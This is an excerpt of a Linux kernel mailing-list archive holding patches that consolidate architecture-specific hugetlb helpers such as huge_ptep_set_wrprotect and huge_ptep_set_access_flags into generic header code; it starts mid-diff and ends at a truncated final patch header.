index cd9697672b79..6c0c8b0c71e0 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -87,4 +87,19 @@ static inline pte_t huge_pte_wrprotect(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
+static inline int prepare_hugepage_range(struct file *file,
+		unsigned long addr, unsigned long len)
+{
+	struct hstate *h = hstate_file(file);
+
+	if (len & ~huge_page_mask(h))
+		return -EINVAL;
+	if (addr & ~huge_page_mask(h))
+		return -EINVAL;
+
+	return 0;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 09/11] hugetlb: Introduce generic version of huge_ptep_set_wrprotect
Date: Thu, 20 Sep 2018 06:03:56 +0000
Lines: 227
Approved: news@gmane.org
Message-ID: <20180920060358.16606-10-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1537423935 13706 195.159.176.226 (20 Sep 2018 06:12:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:12:15 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 20 08:12:08 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g2sC7-0003Rl-Vg
	for glk-linux-kernel-4@m.gmane.org; Thu, 20 Sep 2018 08:12:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731842AbeITL4B (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 20 Sep 2018 07:56:01 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:41839 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725725AbeITL4B (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Sep 2018 07:56:01 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 7F276C000D;
        Thu, 20 Sep 2018 06:14:06 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2876070 gmane.linux.kernel.mm:203584 gmane.linux.ports.arm.kernel:675049 gmane.linux.ports.ia64:29258 gmane.linux.ports.mips.general:66744 gmane.linux.ports.parisc:28985 gmane.linux.ports.ppc64.devel:162763 gmane.linux.ports.sh.devel:57533 gmane.linux.ports.sparc:28455 gmane.linux.kernel.cross-arch:46629
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2876070>

arm, ia64, mips, powerpc, sh, x86 architectures use the same version
of huge_ptep_set_wrprotect, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h        | 6 ------
 arch/arm64/include/asm/hugetlb.h             | 1 +
 arch/ia64/include/asm/hugetlb.h              | 6 ------
 arch/mips/include/asm/hugetlb.h              | 6 ------
 arch/parisc/include/asm/hugetlb.h            | 1 +
 arch/powerpc/include/asm/book3s/32/pgtable.h | 6 ------
 arch/powerpc/include/asm/book3s/64/pgtable.h | 1 +
 arch/powerpc/include/asm/nohash/32/pgtable.h | 6 ------
 arch/powerpc/include/asm/nohash/64/pgtable.h | 1 +
 arch/sh/include/asm/hugetlb.h                | 6 ------
 arch/sparc/include/asm/hugetlb.h             | 1 +
 arch/x86/include/asm/hugetlb.h               | 6 ------
 include/asm-generic/hugetlb.h                | 8 ++++++++
 13 files changed, 13 insertions(+), 42 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index b897541520ef..8247cd6a2ac6 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3e7f6e69b28d..f4f69ae5466e 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index cbe296271030..49d1f7949f3a 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 6ff2531cfb1d..3dcf5debf8c4 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,12 +63,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index fb7e0fd858a3..9c3950ca2974 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -39,6 +39,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/book3s/32/pgtable.h b/arch/powerpc/include/asm/book3s/32/pgtable.h
index 751cf931bb3f..796d026da37e 100644
--- a/arch/powerpc/include/asm/book3s/32/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/32/pgtable.h
@@ -221,12 +221,6 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 
 static inline void __ptep_set_access_flags(struct vm_area_struct *vma,
 					   pte_t *ptep, pte_t entry,
diff --git a/arch/powerpc/include/asm/book3s/64/pgtable.h b/arch/powerpc/include/asm/book3s/64/pgtable.h
index 13a688fc8cd0..badb56963885 100644
--- a/arch/powerpc/include/asm/book3s/64/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/64/pgtable.h
@@ -461,6 +461,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 		pte_update(mm, addr, ptep, 0, _PAGE_PRIVILEGED, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/nohash/32/pgtable.h b/arch/powerpc/include/asm/nohash/32/pgtable.h
index a507a65b0866..6c82b9660c55 100644
--- a/arch/powerpc/include/asm/nohash/32/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/32/pgtable.h
@@ -246,12 +246,6 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 
 static inline void __ptep_set_access_flags(struct vm_area_struct *vma,
 					   pte_t *ptep, pte_t entry,
diff --git a/arch/powerpc/include/asm/nohash/64/pgtable.h b/arch/powerpc/include/asm/nohash/64/pgtable.h
index 7cd6809f4d33..68283e632f04 100644
--- a/arch/powerpc/include/asm/nohash/64/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/64/pgtable.h
@@ -239,6 +239,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 	pte_update(mm, addr, ptep, _PAGE_RW, 0, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f1bbd255ee43..8df4004977b9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,12 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 2101ea217f33..c41754a113f3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 59c056adb3c9..a3f781f7a264 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,12 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 6c0c8b0c71e0..9b9039845278 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -102,4 +102,12 @@ static inline int prepare_hugepage_range(struct file *file,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
+static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_set_wrprotect(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH v7 10/11] hugetlb: Introduce generic version of
 huge_ptep_set_access_flags
Date: Thu, 20 Sep 2018 06:03:57 +0000
Lines: 174
Approved: news@gmane.org
Message-ID: <20180920060358.16606-11-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1537424046 21526 195.159.176.226 (20 Sep 2018 06:14:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:14:06 +0000 (UTC)
Cc: linux-mips@linux-mips.org, dalias@libc.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org, will.deacon@arm.com,
 jejb@parisc-linux.org, linux-mm@kvack.org, paulus@samba.org, hpa@zytor.com,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 ysato@users.sourceforge.jp, mpe@ellerman.id.au, deller@gmx.de, x86@kernel.org,
 linux@armlinux.org.uk, mingo@redhat.com, catalin.marinas@arm.com,
 jhogan@kernel.org, fenghua.yu@intel.com, arnd@arndb.de, tglx@linutronix.de,
 linux-arm-kernel@lists.infradead.org, tony.luck@intel.com,
 Alexandre Ghiti <alex@ghiti.fr>, linux-parisc@vger.kernel.org,
 linux-kernel@vger.kernel.org, ralf@linux-mips.org, paul.burton@mips.com,
 linuxppc-dev@lists.ozlabs.org, davem@davemloft.net, mike.kravetz@oracle.com
To: akpm@linux-foundation.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Sep 20 08:13:59 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1g2sDu-0005RG-JO
	for linux-arm-kernel@m.gmane.org; Thu, 20 Sep 2018 08:13:58 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=T/oXbzzr3r8XXSkdqWcCXAU55slpUwJeIrkBSI76C4s=; b=ogP/QMbHLnTCroDMg494/GBXy1
	bcoGORG+6skVPW0/NTiyFsAdg6ZPZXVfWZF4wqB5ja8/T9/KD9I8+IDgaqW3HFHgWp9B3+M31ccKE
	gxw+8gz87ysmAn9SDlp3fKV0GWnKhI+how/HbA57wbEy49rU4GnaI4LMyPXRSZZ/bMA8biid7Gdxw
	xlcE8j92s+qomd7flxeo5mPbmYvX5SHSPtYO7qmCgCTtVLpheIqgKDetQB44mmWtn9NjS1dPa1svK
	incsYqsub9bGXFOHlpLuln8ZzSK5o8ck4D8QPgNAKvREWPdvouMkSGYsmmKVqDcE+JWvshTicY2Y1
	taoQb3Yw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g2sFw-00041p-10; Thu, 20 Sep 2018 06:16:04 +0000
Original-Received: from relay10.mail.gandi.net ([217.70.178.230])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g2sFX-0003VZ-P5
 for linux-arm-kernel@lists.infradead.org; Thu, 20 Sep 2018 06:15:57 +0000
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay10.mail.gandi.net (Postfix) with ESMTPSA id 053F5240007;
 Thu, 20 Sep 2018 06:15:12 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180919_231540_113614_8D7A22B0 
X-CRM114-Status: UNSURE (   9.21  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.70.178.230 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:675050 gmane.linux.ports.mips.general:66745 gmane.linux.ports.ia64:29259 gmane.linux.ports.sh.devel:57534 gmane.linux.kernel.mm:203585 gmane.linux.ports.sparc:28456 gmane.linux.kernel.cross-arch:46630 gmane.linux.ports.parisc:28986 gmane.linux.kernel:2876072 gmane.linux.ports.ppc64.devel:162764
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/675050>

arm, ia64, sh, x86 architectures use the same version
of huge_ptep_set_access_flags, so move this generic implementation
into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 7 -------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 7 -------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 7 -------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 7 -------
 include/asm-generic/hugetlb.h         | 9 +++++++++
 10 files changed, 14 insertions(+), 28 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 8247cd6a2ac6..54e4b097b1f5 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,11 +37,4 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 #endif /* _ASM_ARM_HUGETLB_3LEVEL_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index f4f69ae5466e..80887abcef7f 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 49d1f7949f3a..e9b42750fdf5 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,13 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 3dcf5debf8c4..120adc3b2ffd 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,6 +63,7 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9c3950ca2974..165b4e5a6f32 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -43,6 +43,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 2a90f387880a..d4d9cf6cb846 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -134,6 +134,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 8df4004977b9..c87195ae0cfa 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,13 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index c41754a113f3..028a1465fbe7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -40,6 +40,7 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index a3f781f7a264..574d42eb081e 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,13 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9b9039845278..f3c99a03ee83 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -110,4 +110,13 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
+static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep,
+		pte_t pte, int dirty)
+{
+	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 11/11] hugetlb: Introduce generic version of huge_ptep_get
Date: Thu, 20 Sep 2018 06:03:58 +0000
Lines: 180
Approved: news@gmane.org
